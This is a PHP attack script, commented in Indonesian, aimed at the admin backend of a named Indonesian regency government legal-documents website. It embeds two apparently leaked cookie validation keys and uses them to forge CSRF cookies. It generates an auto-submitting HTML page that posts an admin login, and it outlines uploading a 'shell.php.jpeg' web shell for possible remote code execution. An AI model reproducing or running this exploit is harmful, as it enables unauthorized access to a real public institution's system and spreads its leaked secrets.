<?php
/*
 * ATTACK CHAIN DENGAN COOKIE VALIDATION KEY
 * 
 * Key Backend: pjZl9KWdjpwwLH4fWAJ4FecTSSpZe7J5
 * Key Frontend: Ur-pzmKJXX5NKa650Ii_mF5xDZBCanEp
 * 
 * VULNERABILITY: Cookie Key Leaked = CSRF Bypass + Potential Auth Bypass
 */

// Step 1: Forge CSRF Token untuk bypass protection
function forgeCSRF($key) {
    $name = '_csrf-backend';
    $token = bin2hex(random_bytes(16)); // Generate valid looking token
    $data = serialize([$name, $token]);
    $hash = hash_hmac('sha256', $data, $key, false);
    return [
        'cookie' => $hash . $data,
        'token' => $token
    ];
}

$backendKey = 'pjZl9KWdjpwwLH4fWAJ4FecTSSpZe7J5';
$csrf = forgeCSRF($backendKey);

echo "=== CSRF BYPASS ===\n";
echo "Cookie: _csrf-backend=" . urlencode($csrf['cookie']) . "\n";
echo "Form token: " . $csrf['token'] . "\n\n";

/*
 * EXPLOIT SCENARIO:
 * 
 * 1. CSRF pada Backend Admin:
 *    - Forge CSRF cookie dengan key yang diketahui
 *    - Buat malicious page yang POST ke backend dengan forged CSRF
 *    - Admin yang mengunjungi page akan execute action
 * 
 * 2. File Upload via CSRF:
 *    Target: /backend/artikel/create atau /backend/peraturan/create
 *    - Forge CSRF
 *    - Submit form dengan file upload shell.php.jpeg
 *    - File tersimpan di common/dokumen/
 *    - Akses langsung https://domain/common/dokumen/shell.php.jpeg
 * 
 * CATATAN: Apache mungkin tidak execute .php.jpeg sebagai PHP
 *          Tapi jika pakai mod_php dengan handler by extension chain, bisa RCE
 */

echo "=== EXPLOIT HTML ===\n";
$exploitHTML = <<<HTML
<!-- Save as exploit.html, host on attacker server, send to admin -->
<html>
<body>
<script>
// Set forged CSRF cookie
document.cookie = "_csrf-backend={$csrf['cookie']}; path=/";

// Auto-submit form
window.onload = function() {
    document.getElementById('exploit').submit();
}
</script>
<form id="exploit" action="https://jdih.kayongutarakab.go.id/backend/site/login" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="_csrf-backend" value="{$csrf['token']}" />
    <input type="hidden" name="LoginForm[username]" value="admin" />
    <input type="hidden" name="LoginForm[password]" value="admin123" />
</form>
</body>
</html>
HTML;

echo $exploitHTML;
